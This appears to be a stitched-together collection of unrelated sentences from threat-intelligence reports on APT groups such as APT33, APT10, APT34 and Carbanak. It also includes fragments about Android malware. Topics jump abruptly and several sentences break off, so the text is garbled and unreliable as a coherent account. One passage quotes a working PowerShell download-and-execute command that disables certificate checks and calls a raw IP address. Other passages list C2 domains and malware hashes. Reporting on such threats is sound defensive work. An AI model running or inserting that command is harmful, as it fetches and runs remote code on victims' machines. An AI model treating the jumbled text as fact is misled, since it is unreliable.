A few days ago , Symantec discovered a new document that appears to be part of the ongoing BlackEnergy APT group attacks against Ukraine . Group-IB specialists determined that the email addresses of IT bank employees were among the recipients of these emails . The main goal of Silence.Downloader is to receive an executable file and run it on an infected machine . Silence.MainModule is a typical remote control Trojan that provides access to the command shell CMD.exe with the possibility of downloading files from remote nodes to a computer and uploading files from a computer to a remote server . Since at least 2011 , these hackers have been using malware to spy on corporate networks . Hackers are targeting high-tech companies as well as chemical and pharmaceutical companies . The hackers will map a company’s network and look for strategically favorable locations for placing their malware . The corporation conrms the Winnti incident and issues the following statement: The cyberattack was discovered in the summer of 2014 and Henkel promptly took all necessary precautions.” Henkel claims that a very small portion” of its worldwide IT systems had been aected — the systems in Germany . A BASF spokeswoman tells us in an email that in July 2015 , hackers had successfully overcome the rst levels” of defense . The tool was written by sta of Thyssenkrupp , because the industrial giant—company number eleven—had been spied on by Winnti . Hackers are charged with spying on a manufacturer of gas turbines . The Hong Kong government was spied on by the Winnti hackers . Komplex is a backdoor that has been used by APT28 on OS X and appears to be developed in a similar manner to XAgentOSX . While OceanLotus’ targets are global , their operations are mostly active within the APAC region which encompasses targeting private sectors across multiple industries , foreign governments , activists , and dissidents connected to Vietnam . NewsBeef attacks against Saudi Arabian organizations and individuals are likely to continue . Rapid7 discovered that additional data was placed into the Dropbox accounts under control of the APT10 during the compromise and was able to attribute data that was placed into it as being owned by Visma . Rapid7 again observed APT10 dropping payloads named ccSEUPDT.exe . These RAT families are discussed in Novetta’s other report on the Lazarus Group’s RAT and Staging capabilities . Magic Hound has primarily targeted organizations in the energy , government , and technology sectors that are either based or have business interests in Saudi Arabia . Since at least 2013 , the Iranian threat group that FireEye tracks as APT33 has carried out a Cyber Espionage operation to collect information from defense , aerospace and petrochemical organizations . CTU researchers observed likely unsuccessful phishing campaigns being followed by highly targeted spearphishing and social engineering attacks from a threat actor using the name Mia Ash . CTU researchers conclude that COBALT GYPSY created the persona to gain unauthorized access to targeted computer networks via social engineering . Characterized by relatively unsophisticated technical merit and extensive use of spear phishing , the Magic Hound targeted individuals and organizations in the Middle East , as well as across Europe and in the United States . These malware families have a rich history of being used in many targeted attacks against government and private organizations . The activity surfaced in Southeast Asia , a region where APT10 frequently operates . The samples we analyzed originated from the Philippines . APT10 frequently targets the Southeast Asia region . Both of the loader’s variants and their various payloads that enSilo analyzed share similar Tactics , Techniques , and Procedures and code associated with APT10 . Typically , APT10 tends to employ a namesquatting scheme in their domains that aims to confuse the observer by posing as a legitimate domain . Also , the certificate embedded in the Quasar sample was issued at 22.12.2018 , which correlates with the file’s compilation date . Over the past three months , Recorded Future’s Insikt Group has observed an increase in APT33’s also known as Elfin infrastructure building and targeting activity , and on June 21 , 2019 , Yahoo . News reported that the U.S. Cyber Command launched cyberattacks on an Iranian spy group . Iranian state-sponsored threat actor APT33 has been conducting cyberespionage activity since at least 2013 , predominantly targeting nations in the Middle East , but also notably targeting U.S. , South Korean , and European commercial entities across a wide variety of sectors . Our research found that APT33 , or a closely aligned threat actor , continues to conduct and prepare for widespread cyberespionage activity , with over 1 , 200 domains used since March 28 , 2019 and with a strong emphasis on using commodity malware . The targeting of mainly Saudi Arabian organizations across a wide variety of industries aligns with historical targeting patterns for the group , which appear undeterred following previous exposés of their activity . Towards the end of April 2019 , we tracked down what we believe to be new activity by APT10 , a Chinese Cyber Espionage group . Almost 60% of the suspected APT33 domains that were classified to malware families related to njRAT infections , a RAT not previously associated with APT33 activity . Other commodity RAT malware families , such as AdwindRAT and RevengeRAT , were also linked to suspected APT33 domain activity . APT33 is an Iranian state-sponsored threat actor that has engaged in cyberespionage activities since at least 2013 . Western and Saudi organizations in industries that have been historically targeted by APT33 should be monitoring geopolitical developments and increasing the scrutiny of operational security controls focusing on detection and remediation of initial unauthorized access , specifically from phishing campaigns , webshells . Symantec’s Elfin report denoted additional targeting of the engineering , chemical , research , finance , IT , and healthcare sectors . We assess that the recent reporting on links between the Nasr Institute and Kavosh Security Group , as well as technical and persona analysis , overlaps among APT33 , APT35 , and MUDDYWATER , and is probably a result of the tiered structure that Iran utilizes to manage cyber operations . Recorded Future has been monitoring APT33 activity , beginning with research published in October 2017 , which revealed new infrastructure , malware hashes , and TTPs relating to the threat actor(s) . FireEye also noted in their 2017 report that the online handle xman_1365_x , ” found within the PDB path in an APT33 TURNEDUP backdoor sample , belonged to an individual at the Nasr Institute . Recorded Future’s Insikt Group has been monitoring APT33 activity , beginning with research published in October 2017 , which revealed new infrastructure , malware hashes , and TTPs relating to the threat actor(s) . Based on this information , it is possible that upon the exposure of the Nasr Institute as a front for Iranian state-sponsored offensive cyber activity , employees transitioned over to other entities , such as Kavosh , to protect their identities and minimize further exposure . Insikt Group researchers used proprietary methods , including Recorded Future Domain Analysis and Recorded Future Network Traffic Analysis , along with other common analytical approaches , to profile recently reported Iranian threat actor APT33’s domain and hosting infrastructure in an effort to identify recent activity . Insikt Group enumerated all domains reported as being used by APT33 since January 2019 . PlugX is a modular structured malware that has many different operational plugins such as communication compression and encryption , network enumeration , files interaction , remote shell operations and more . Using data from Recorded Future Domain Analysis and combining it with data derived from Recorded Future Network Traffic Analysis , Insikt Group researchers were able to identify a small selection of likely targeted organizations impacted by suspected APT33 activity . Following the exposure of a wide range of their infrastructure and operations by Symantec earlier this year , we discovered that APT33 , or closely aligned actors , reacted by either parking or reassigning some of their domain infrastructure . Since late March , suspected APT33 threat actors have continued to use a large swath of operational infrastructure , well in excess of 1 , 200 domains , with many observed communicating with 19 different commodity RAT implants . While we haven’t observed a widespread targeting of commercial entities or regional adversaries like in previously documented APT33 operations , the handful of targeted organizations that we did observe were mainly located in Saudi Arabia across a range of industries , indicating ongoing targeting aligned with geopolitical aims . The zip contained a sample of the Poison Ivy malware which is also known to be used by APT10 . The new malware families , which we will examine later in this post , show APT34 relying on their PowerShell development capabilities , as well as trying their hand at Golang . Additionally , with the assistance of our FireEye Labs Advanced Reverse Engineering (FLARE) , Intelligence , and Advanced Practices teams , we identified three new malware families and a reappearance of PICKPOCKET , malware exclusively observed in use by APT34 . This threat group has conducted broad targeting across a variety of industries operating in the Middle East; however , we believe APT34's strongest interest is gaining access to financial , energy , and government entities . Additionally , with the assistance of FireEye Labs , we identified three new malware families and a reappearance of PICKPOCKET , malware exclusively observed in use by APT34 . APT34 is an Iran-nexus cluster of cyber espionage activity that has been active since at least 2014 . This CPE was created to ensure our customers are updated with new discoveries , activity and detection efforts related to this campaign , along with other recent activity from Iranian-nexus threat actors to include APT33 , which is mentioned in this updated FireEye blog post . On June 19 , 2019 , FireEye’s Managed Defense Security Operations Center received an exploit detection alert on one of our FireEye Endpoint Security appliances . A backdoor that communicates with a single command and control server using HTTP GET and POST requests , TONEDEAF supports collecting system information , uploading and downloading of files , and arbitrary shell command execution . FireEye’s Advanced Practices and Intelligence teams were able to identify additional artifacts and activity from the APT34 actors at other victim organizations . Of note , FireEye discovered two additional new malware families hosted at this domain , VALUEVAULT and LONGWATCH . This tool was previously observed during a Mandiant incident response in 2018 and , to date , solely utilized by APT34 . PICKPOCKET is a credential theft tool that dumps the user's website login credentials from Chrome , Firefox , and Internet Explorer to a file . FireEye detects this activity across our platforms , including named detection for TONEDEAF , VALUEVAULT , and LONGWATCH . Several spear-phishing campaigns attributed to Carbanak , all occurring between March and May 2018 , were analyzed by security researchers in 2018 . One of the most prolific APT-style cyberattacks , specifically targeting the financial sector , is known as Carbanak . Discovered in 2014 , the campaign quickly gained notoriety after compromising the security systems of 100 banks in 40 countries and stealing up to $1 billion in the process . The same group is believed to have also been using the Cobalt Strike framework to run sophisticated campaigns , plotting and performing financial heists of financial institutions . Banks in countries such as Russia , the United Kingdom , the Netherlands , Spain , Romania , Belarus , Poland , Estonia , Bulgaria , Georgia , Moldova , Kyrgyzstan , Armenia , Taiwan and Malaysia have allegedly been targeted with spearphishing emails , luring victims into clicking malicious URLs and executing booby-trapped documents . A Carbanak trademark in cyberattacks remains the use of Cobalt Strike – a powerful pentesting tool designed for exploiting and executing malicious code , simulating post-exploitation actions of advanced threat actors – which allows them to infiltrate the organization , move laterally , exfiltrate data , and deploy anti-forensic and evasion tools . However , this action doesn’t appear to have made a dent in the cybercriminal organization , as subsequent spear-phishing campaigns seem to have been reported from March until May 2018 . Bitdefender’s forensics and investigation team was contacted to look into a security incident that started in May 2018 with an email received by two of the bank’s employees . The Carbanak group , which has a long track record of compromising infrastructure belonging to financial institutions , is still active . Its purpose remains to manipulate financial assets , such as transferring funds from bank accounts or taking over ATM infrastructures and instructing them to dispense cash at predetermined time intervals . If the attack had succeeded , it would have given hackers control over the ATM network , while money mules would have been standing by the ATM machines at pre-set time intervals to cash them out . The actors uploaded a variety of tools that they used to perform additional activities on the compromised network , such as dumping credentials , as well as locating and pivoting to additional systems on the network . We believe Emissary Panda exploited a recently patched vulnerability in Microsoft SharePoint tracked by CVE-2019-0604 , which is a remote code execution vulnerability used to compromise the server and eventually install a webshell . Bitdefender’s investigation shows the attackers’ main methods remain to quietly infiltrate the infrastructure by establishing a foothold on an employee’s system , then move laterally across the infrastructure or elevate privileges to find critical systems that manage financial transactions or ATM networks . We also found the China Chopper webshell on the SharePoint servers , which has also been used by the Emissary Panda threat group . Of particular note is their use of tools to identify systems vulnerable to CVE-2017-0144 , which is the same vulnerability exploited by EternalBlue that is best known for its use in the WannaCry attacks of 2017 . In addition to the aforementioned post-exploitation tools , the actors used these webshells to upload legitimate executables that they would use DLL sideloading to run a malicious DLL that has code overlaps with known Emissary Panda attacks . This webshell activity took place across three SharePoint servers hosted by two different government organizations between April 1 , 2019 and April 16 , 2019 , where actors uploaded a total of 24 unique executables across the three SharePoint servers . The timeline shows three main clusters of activity across the three webshells , with activity occurring on two separate webshells within a very small window of time on April 2 , 2019 and the activity involving the third webshell two weeks later on April 16 , 2019 . In April 2019 , several national security organizations released alerts on CVE-2019-0604 exploitation , including the Saudi Arabian National Cyber Security Center and the Canadian Center for Cyber Security . Based on the functionality of the various tools uploaded to the webshells , we believe the threat actors breach the SharePoint servers to use as a beachhead , then attempt to move laterally across the network via stolen credentials and exploiting vulnerabilities . We also observed the actors uploading custom backdoors such as HyperBro which is commonly associated with Emissary Panda . Both of these alerts discussed campaigns in which actors used the CVE-2019-0604 to exploit SharePoint servers to install the China Chopper webshell . During our research into this attack campaign , Unit 42 gathered several tools that the Emissary Panda uploaded to the three webshells at the two government organizations . We also observed the actors uploading the HyperBro backdoor to one of the webshells , as well as legitimate executables that would sideload malicious DLLs that have overlapping code associated with known Emissary Panda activity . Lastly , we saw the actor uploading a custom backdoor called HyperBro , which has been associated with Emissary Panda operations in the past . The other overlapping files are tools used by the adversary to locate other systems on the network ( etool.exe ) , check to see if they are vulnerable to CVE-2017-0144 ( EternalBlue ) patched in MS07-010 (checker1.exe) and pivot to them using remote execution functionality offered by a tool similar to PsExec offered by Impacket ( psexec.exe ) . Also , the NCSC advisory mentioned that the actors used a file name stylecss.aspx for their webshell , which is the same filename we saw associated with China Chopper . we will provide an analysis of the HyperBro tool in an upcoming section . However , using NCC Group’s research published in May 2018 , we were able to discover code overlaps between these DLLs and a sideloaded DLL that ran the SysUpdate tool that the NCC group has associated with an Emissary Panda campaign . The list also includes several hack tools , such as Mimikatz for credential dumping and several compiled python scripts used to locate and compromise other systems on the local network . Unfortunately , we do not have access to the PYTHON33.hlp or CreateTsMediaAdm.hlp files , so we do not know the final payload loaded by either of these DLLs . Figure 9 shows a code comparison between the PYTHON33.dll (right) and inicore_v2.3.30.dll (left) (SHA256: 4d65d371a789aabe1beadcc10b38da1f998cd3ec87d4cc1cfbf0af014b783822 ) , which was sideloaded to run the SysUpdate tool in a previous Emissary Panda campaign .


After deobfuscation we extracted :


According to the DroidVPN app description , it “ helps bypass regional internet restrictions , web filtering and firewalls by tunneling traffic over ICMP. ” Some features may require devices to be rooted to function and according to some 3rd party app stores , unconditional rooting is required , which has additional security implications for the device . The tool does all that a typical Trojan needs to accomplish: upload , download and execute files , fingerprint target systems . However , the malware shared several traits with the RIPTIDE and HIGHTIDE backdoor that we have attributed to APT12 .


In contrast , on the emulator , a toast message is displayed that shows “ Install completed ” , at which point FakeSpy removes its shortcut from the device 's homescreen . FIN7’s last campaigns were targeting banks in Europe and Central America . At least one of the attacks in this campaign leveraged a European security and defense-themed lure , which aligns with the targeting preferences for this group .


PIVY also played a key role in the 2011 campaign known as Nitro that targeted chemical makers , government agencies , defense contractors , and human rights groups.10,11 Still active a year later , the Nitro attackers used a zero-day vulnerability in Java to deploy PIVY in 2012 . The developers refer to this tool by the name Kazuar , which is a Trojan written using the Microsoft.NET Framework that offers actors complete access to compromised systems targeted by its operator .


Afterward , it will start several timers to execute different tasks . The Gamaredon Group has been actively launching spear-phishing attacks against Ukrainian government and military departments from the mid-2013s . In April 2017 , APT37 targeted South Korean military and government organizations with the DOGCALL backdoor and RUHAPPY wiper malware .


Sending SMS messages to financial institutions to query account balances . In the past , BlackOasis messages were designed to appear like news articles from 2016 about political relations between Angola and China . The ﬁrst one is the setting of the registry key “ HKEY_CURRENT_USER\Software\Microsoft\Ofﬁce\ ” & Application.Version & _ ” \Word\Security\ ” and the declaration of some other variables , such as the dropurl “ geticons.ddns.net ” . In November 2016 , Volexity documented new Dukes - related activity involving spear phishing with links to a ZIP archive containing a malicious LNK file , which would run PowerShell commands to install a new custom backdoor called PowerDuke .


This is a common technique used by malware developers to bundle the main payload inside the Android package to avoid easy detection . The most popular targets of SneakyPastes are embassies , government entities , education , media outlets , journalists , activists , political parties or personnel , healthcare and banking . This secondary communication channel may be used by operators when access to the hard-coded control servers is disrupted .


The file was created at C:\Documents and Settings\Admin\Local Settings\Temp\sloo.exe .


] com hxxp : //mailsa-qaf [ . In October 2014 , FireEye released APT28 : A Window into Russia 's Cyber Espionage Operations' , and characterized APT28 's activity as aligning with the Russian Government 's strategic intelligence requirements . After the send operation is complete, the lock file for the current run is deleted and the script . In addition , Hack520 ’s tweets always show photos of the same animal , which is likely his pet pig .


A TrickMo Kill Switch One of the most interesting features of the TrickMo malware is having its own kill switch . Another attack group , Earworm ( aka Zebrocy ) , has been active since at least May 2016 and is involved in what appears to be intelligence gathering operations against military targets in Europe , Central Asia , and Eastern Asia . After getting the IP , the ProjectSauron component tries to communicate with the remote server using its own ( ProjectSauron ) protocol as if it was yet another C&C server .


It is noteworthy that BusyGasper supports the IRC protocol which is rarely seen among Android malware . In this latest discovery by McAfee , despite a short pause in similar operations , the Lazarus group targets financial organizations . At the same time , code embedded within this file also executed a powershell command to download and execute a copy of chfeeds.vbe from the C&C server . [System.Net.ServicePointManager] : :S erverCertificateValidationCallback={$true};IEX (New-Object Net.WebClient ) .DownloadString ( ' https://217.147.168.46:8088/index.jpg ' ) . Other big stories in June include a suspected LockBit affiliate arrest , the Royal ransomware gang toying with a new encryptor , and a notable increase in attacks on the Manufacturing sector .


TRITON Attribution : Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers .


ejtmjealr.com gefinsioje.com gesofgamd.com ponedobla.bit .


We therefore believe the Dukes to be a single , large , wellcoordinated organization with clear separation of responsibilities and targets .


This host was registered in late March and appears to be unique to this campaign .


The body contains a message and URL . As a result of our analysis of APT10 's activities , we believe that it almost certainly benefits from significant staffing and logistical resources , which have increased over the last three years , with a significant step-change in 2016 . OceanLotus : stellefaff.com 7244 . While COSMICENERGY ’s capabilities are not significantly different from previous OT malware families ’ , its discovery highlights several notable developments in the OT threat landscape .


It has modular architecture implemented in the form of plugins , or it can receive new .NET source code , which will be compiled on the device in runtime . From the beginning of 2019 until July , we have been able to identify different spear-phishing campaigns related to this threat actor mostly focused on Russia , Central Asia and regions of Ukraine with ongoing military conflicts . In 2017 , APT37 targeted a Middle Eastern company that entered into a joint venture with the North Korean government to provide telecommunications service to the country ( read on for a case study ) .


The command is translated to an IPacket of type GetSystemInfo .


On disk artefacts File with the full path : %AppData%\Video\videodrv.exe File with the full path : %AppData%\Platform\sslwin.exe Files with following file hashes .


Lately , Patchwork has been sending multiple RTF files exploiting CVE-2017-8570 . Data from the early part of this year shows that the Taidoor attackers rampantly used malicious.DOC files to exploit a Microsoft Common Controls vulnerability , CVE-2012-0158 .


As with most Android ransomware , this new threat doesn ’ t actually block access to files by encrypting them . Leveraging click counts for the campaign for Bitly , we were able to see Gorgon Group 's activity volume increase throughout April . a conditional jump of the dispatcher predecessor’s tail instruction in goto N predecessors case , SysUpdate is a featurerich backdoor that has multiple capabilities , including


In the past few months , Unit 42 has observed the Patchwork group , alternatively known as Dropping Elephant and Monsoon , conducting campaigns against targets located in the Indian subcontinent . Trend Micro specifically noted that the 2013 versions of KeyBoy used the same algorithm for encoding their configuration files as was observed in the Operation Tropic Trooper malware .


WE STILL CAN SELLING IT FOR SPAM , FAKE , BANK CRIME etc… We collect and download all of your personal data . They are selective in their attacks and wait for about three months between incidents , which is approximately three times longer than other financially motivated APT groups , like MoneyTaker , Anunak ( Carbanak ) , Buhtrap or Cobalt . We have a high level of confidence in a historic association between FIN7 and Cobalt , even though we believe that these two clusters of activity are operated by different teams . If scripts are not commonly used on a system , but enabled , scripts running out of cycle from patching or other administrator functions are suspicious .


This makes it impossible to create a target profile . LYCEUM is an emerging threat to energy organizations in the Middle East , but organizations should not assume that future targeting will be limited to this sector . Since at least the beginning of 2014 , APT38 operations have focused almost exclusively on developing and conducting financially motivated campaigns targeting international entities , whereas TEMP.Hermit is generally linked to operations focused on South Korea and the United States .


Much like the CosmicDuke toolset , the loader used by both MiniDuke and CosmicDuke had previously only undergone one major update ( the Nemesis Gemina upgrade ) since the first known samples from 2010 .


Of note is TA505 ’s use of the Necurs botnet to drive their massive spam campaigns .


So far , the attackers relied entirely on social engineering to infect the targets . Hackers use the exploits " Nitris Exploit Kit " ( earlier known as CottonCastle ) , which is not available in open sources and sold only to trusted users . We have been presented with a rare opportunity to see some development activities from the actors associated with the OilRig attack campaign , a campaign Unit 42 has been following since May 2016 .


They also download apks secretly and record audios and videos , then upload users’ privacy information to server , causing users’ privacy leakage . We dove deeper into Confucius' operations—namely , the malware-ridden documents , backdoors , and file stealers they use in their campaigns .


Next , if they indicate that they use an Android-based device , the Trojan , impersonating their bank with web injections , fools the victim into installing a fake security app . The following archive caught our attention for exploiting a WinRAR unacev2 module vulnerability and for having interesting content . The January 8 attack used a variant of the ThreeDollars delivery document , which we identified as part of the OilRig toolset based on attacks that occurred in August 2017 .


PACKING In addition to implementing custom obfuscation techniques , apps have used several commercially available packers including : Qihoo360 , AliProtect and SecShell . In the Bahamut report , we discussed two domains found within our search that were linked with a custom Android malware agent . Unlike zxFunction001, this is not used by The SCIL commands would have caused the MicroSCADA server to relay the commands to the substation RTUs via either the IEC-60870 - 5 - 104 protocol for TCP / IP connections or the IEC-60870 - 5 - 101 protocol for serial connections .


It leveraged DDE to retrieve and install a payload onto the victim host .


The Poseidon Group is a long-running team operating on all domains : land , air , and sea . This attack campaign focused on the chemical sector with the goal of obtaining sensitive documents such as proprietary designs , formulas , and manufacturing processes .


The fake doesn ’ t quite nail the app name . We assess with high confidence that APT37 acts in support of the North Korean government and is primarily based in North Korea . Exfiltration is done through the bitsadmin.exe . “ And his access was never shut off until today ? , ” asked the company ’s general counsel Mike Dacks .


Strong evidence links BRONZE PRESIDENT 's infrastructure to entities within the PRC .


CTU researchers immediately recognized suspicious commands , such as changing the working directory to recycler and executing commands from that location , that were unlikely to have been connected to legitimate system administrator operations .


The source process tries to determine the location of dlopen , dlsym , and dlclose functions in the target process . The first Potao campaign that we examined took place in August 2011 . APT17 : 195ade342a6a4ea0a58cfbfb43dc64cb . While inspecting one of the C&C servers of Miniduke , we have found files that were not related to the C&C code , but seemed to be prepared for infecting visitors using web - based vulnerabilities .


The main goal of Silence.Downloader is to receive an executable file and run it on an infected machine . The interest among hackers in targeting trading systems is expected to grow .


In this campaign , the attackers use different TTPs and decoy documents reminiscent of previous campaigns by MoleRATs involving the Micropsia and Kaperagent malware .


While the loader has often been used together with other MiniDuke components , it has also commonly been used in conjunction with CosmicDuke and PinchDuke .


The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems . Clever Kitten actors have a strong affinity for PHP server-side attacks to make access ; this is relatively unique amongst targeted attackers who often favor targeting a specific individual at a specific organization using social engineering .


The PinchDuke information stealer gathers system configuration information , steals user credentials , and collects user files from the compromised host transferring these via HTTP (S ) to a C&C server .


They have extensive checks for the various security software that is installed on the system and their specific configurations .


Although the applications were never available in Google Play , we immediately identified the scope of the problem by using Verify Apps . The EternalBlue exploit from the framework received worldwide attention after being used in the ransomware campaigns WannaCry in May and Petya / NotPetya in June 2017 . gaming industry scope attackers asia . Significantly , Anonymous Sudan has caused significant disruptions at a level not observed by KillNet affiliates previously .


The size of the botnet however ( about 1400 bots ) is very small if its intended use is for commercial DoS attacks or spam-sending .


Selling the ad traffic directly or displaying ads from other sources in a very large volume can provide direct profit to the app author from the advertisers . The exploit document carrying this alternate KeyBoy configuration also used a decoy document which was displayed to the user after the exploit launched . The exploit documents delivered during the December campaigns dropped a binary containing an embedded variant of a backdoor we refer to as ELMER . Regardless of which side of the political spectrum you fall , cybersecurity should be something our lawmakers can all agree on .


] infokalisi [ . In May 2015 , Palo Alto Networks WildFire detected two e-mails carrying malicious documents from a genuine and compromised Israeli Gmail account , sent to an Israeli industrial organization . In these instances they do not need to use a proxy tool like HTRAN to interact with victim systems . If used successfully , the attacker can set up a proxy Microsoft 365 authentication system and steal a victim ’s authentication credentials or cookies with a “ man - in - the - middle " attack .


Once the file is unpacked , the backdoor is dropped in two different locations on the infected operating system :


If found on the target system , Carbanak will try to exploit a known vulnerability in Windows XP , Windows Server 2003 , Windows Vista , Windows Server 2008 , Windows 7 , Windows 8 , and Windows Server 2012 , CVE-2013-3660 , for local privilege escalation . Kaspersky speculates that ScarCruft could also be behind another zero-day , CVE-2016-0147 , a vulnerability in Microsoft XML Core Services that was patched in April .


Update and patch production servers regularly .


That security software is commonly installed on computers in Brazil as several banks require it to log into their online banking . Similar to previous campaigns , the JAR was directly attached to emails and used file names such as Order_2018.jar . This report will explore the various installers , uninstallers and loaders Novetta has observed the Lazarus Group using .


The operator can specify a path with the database of any targeted application and server-side PHP script name for uploading . NTG’s IT focus and client list likely aided NewsBeef’s delivery of malicious PowerShell-enabled Office documents and poisoned installers . The group has been attributed to the Chinese People ’s Liberation Army ’s ( PLA ) Chengdu Military Region Second Technical Reconnaissance Bureau ( Military Unit Cover Designator 78020 ) .


The client receives and decrypts the packet .


Special focus will be on the samples that were used in targeted attacks against Ukrainian government organizations earlier this year . APT28 espionage activity has primarily targeted entities in the U.S. , Europe , and the countries of the former Soviet Union , including governments and militaries , defense attaches , media entities , and dissidents and figures opposed to the current Russian government .


The SectorJ04 group mainly utilizes a spear phishing email with MS Word or Excel files attached , and the document files downloads the Microsoft Installer (MSI) installation file from the attacker server and uses it to install backdoor on the infected system . Originally , the main infection vector of Blue Termite was spear-phishing emails .


List of packages received from the C2 adminNumber : Setup of the admin phone number . Little detail is given on the nature of how the connection between DNSMessenger and MuddyWater was discovered it isn't possible for us to verify this link . Upon successful connection , the malware transmits victim information such as : hostname , IP address , Language Pack along with other operating system information . • None consisting of CVE-2022 - 41080 and CVE-2022 - 41082 to achieve remote code execution ( RCE ) through Outlook Web Access ( OWA ) .


The threat actors , observed by FireEye Labs , use a variety of different methods to either compromise or acquire already compromised payment card credentials , including sharing or purchasing dumps online , hacking vulnerable merchant websites and compromising payment card processing devices . On November 10 , 2015 , Lotus Blossom sent a spear-phishing email to an individual at the French Ministry of Foreign Affairs .


While analyzing hosts compromised by BRONZE PRESIDENT , CTU researchers identified other malware artifacts .


This group is known for its technique of registering domains that closely resemble domains of legitimate organizations they plan to target .


backdoor , Sedreco , AZZY , Xagent , ADVSTORESHELL , NETUI .


] Once launched , the app starts to communicate with its C & C server ( whose IP address is base64-encoded in the app ) . Kaspersky also discovered that LuckyMouse unleashed a new wave of activity targeting Asian governmental organizations just around the time they had gathered for a summit in China . Here are the 7 actions that the infected machine can be instructed to perform: Delete a specific file .


ESET researchers have observed a significant change in the campaign of the infamous espionage group . During the investigations , Mandiant observed that FIN7 used a custom shim database to patch both the 32-bit and 64-bit versions of services.exe” with their CARBANAK payload .


We believe that these industries have also been targeted as part of a larger supply-chain attack in order for Orangeworm to get access to their intended victims related to healthcare . Both attackers and victims speak Spanish natively , as we see it consistently in the source code of the client side and in the Python code .


For most of its history it operated as a government department or public corporation . Insikt Group researchers used proprietary methods , including Recorded Future Domain Analysis and Recorded Future Network Traffic Analysis , along with other common analytical approaches , to profile recently reported Iranian threat actor APT33’s domain and hosting infrastructure in an effort to identify recent activity . Recently Subaat drew our attention due to renewed targeted attack activity .


We can’t get hold of the final payload that ’s executed in memory , but we believe its backdoor-type malware is ultimately used to control the infected victim .


To install and register the malicious shim database on a system , FIN7 used a custom Base64 encoded PowerShell script , which ran the sdbinst.exe utility to register a custom shim database file containing a patch onto a system . The threat actor’s emails usually contain a picture or a link without a malicious payload and are sent out to a huge recipient database of up to 85 , 000 users .


This group has used a large array of infection vectors , mostly revolving around drive-by downloads and spam . Perhaps it also points to the suspected North Korean origin of attack .


The second attack vector , the overlay attack , shows a customized phishing window whenever a targeted application is started on the device . While PLEAD and KIVARS are most likely to be used in first phase attacks , Waterbear can be seen as a secondary backdoor installed after attackers have gained a certain level of privilege . This file contains a list of IP addresses for the infected machine to connect back to . By analyzing field data we see a gap in the implementation of CSP , and even for sites that do use it correctly , this creates an open window to exfiltrate data .


On the other hand , the network traffic generated by the .NET version is unencoded .


Here are some of the most notable : ‘ geofence ’ – this command adds a specified location to the implant ’ s internal database and when it matches a device ’ s current location the malware triggers and begins to record surrounding audio . These compromised servers include Saudi Arabian government servers and other high-value organizational identities relevant to NewsBeef's targets . The group 's victims are mainly in the telecommunications , government ( IT services ) , and oil sectors .


Conclusion Threats are better prevented than cured , so do not follow suspicious links in SMS , and be sure to install apps only from official sources and check what permissions you are granting during installation . Researchers at the Microstep Intelligence Bureau have published a report on targeted attacks on the Ukrainian government that they attribute to the Gamaredon threat actor . The library is only used to perform keylogging and clipboard stealing .


b46f282f9a1bce3798faee3212e28924730a657eb93cda3824c449868b6ee2e7 c228a534535b22a316a97908595a2d793d0fecabadc32846c6d1bfb08ca9a658 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 e3f65f84dd6c2c3a5a653a3788d78920c0321526062a6b53daaf23fa57778a5f FireEye recently published a blog covering the tactics , techniques , and procedures ( TTPs ) for the " TRITON actor " when preparing to deploy the TRITON/TRISIS malware framework in 2017 . Cybereason suspects this These ransom demands are significantly lower than those made by many well - known ransomware gangs like RYUK , Babuk , REvil , Conti , DarkSide , BlackMatter , BlackCat , and Yanluowang , which are typically in the millions of dollars .


But in terms of features and behaviors , these two malware are very similar .


File Name : ati.exe .


The emergence of XLoader 6.0 does not only indicate that the threat actors behind it remain active ; it also holds fresh evidence of its connection to FakeSpy . The malware used by the Wekby group has ties to the HTTPBrowser malware family , and uses DNS requests as a command and control mechanism . In the latter case, the P action is passed as one of the parameters to AdrGen and the query is made for an A resource record using the [System.Net.Dns]::GetHostAddresses . The campaigns contain malicious web links and attachments that infect users machines with malware when opened .


Existing telemetry indicates that the Carbanak attackers are trying to expand operations to other Baltic and Central Europe countries , the Middle East , Asia and Africa . VENOMOUS BEAR is an advanced , Russia-based adversary that's been active since at least 2004 .


In addition to often embedding persistence or privilege escalation components , CosmicDuke has occasionally embedded PinchDuke , GeminiDuke , or MiniDuke components .


That creates a fake ID that allows the perpetrators to generate referral revenues . The first class , colloquially known as " wipers " , are a class of malware has the primary intent of destroying data on a victim 's machine . Stonedrill ( Trojan.Stonedrill ) : Custom malware capable of opening a backdoor on an infected computer and downloading additional files . NoEscape is a new ransomware which been doing the rounds in underground forums since May 2023 .


RuMMS samples , hosting sites , C2 servers from Jan. 2016 to Mar . Instead , OilRig 's attack involved delivering the OopsIE Trojan directly to the victim , most likely using a link in a spear phishing email . If a serial number exists , the rest of the code is executed . CrowdStrike security researchers were working to develop proof - of - concept ( POC ) code for an exploit method indicative of the logging present after recent Play ransomware attacks .


The macro then decodes a PowerShell script which downloads base64 encoded content from the pastebin url .


Once the actor had successfully established access to the network , a simple network scan to look for other insecure devices allowed them to discover and move across the network in search of higher-privileged accounts that would grant access to higher-value data .


We do not know exactly how many people have been infected with RuMMS malware . All 13 countries where Kaspersky reportedly observed BlackOasis activity are connected to Saudi Arabia in one of three ways : economically ; from a national security perspective ; or due to established policy agreements . Brief Description : SFX Archive First Stage . In particular , we managed to gather details on an individual using the handle Hack520 , who we believe is connected to Winnti .


We have observed these actors using Tor or proxy-based tools similar to Tor (e.g , UltraSurf , as seen in Figure 2) . COBALT GYPSY has used spearphishing to target telecommunications , government , defense , oil , and financial services organizations based in or affiliated with the MENA region , identifying individual victims through social media sites .


DHS and FBI recommend that network administrators review the IP S-PROT addresses , file hashes , network signatures , and YARA rules provided , and add the IPs to their watchlist to determine whether malicious activity has been observed within their organization .


non-Google Play ) app stores which often have fewer security and vetting procedures for the apps they host . APT41 leveraged ADORE.XSEC , a Linux backdoor launched by the Adore-NG rootkit , throughout an organization's Linux environment . During the same time period , APT33 also targeted companies in South Korea involved in oil refining and petrochemicals .


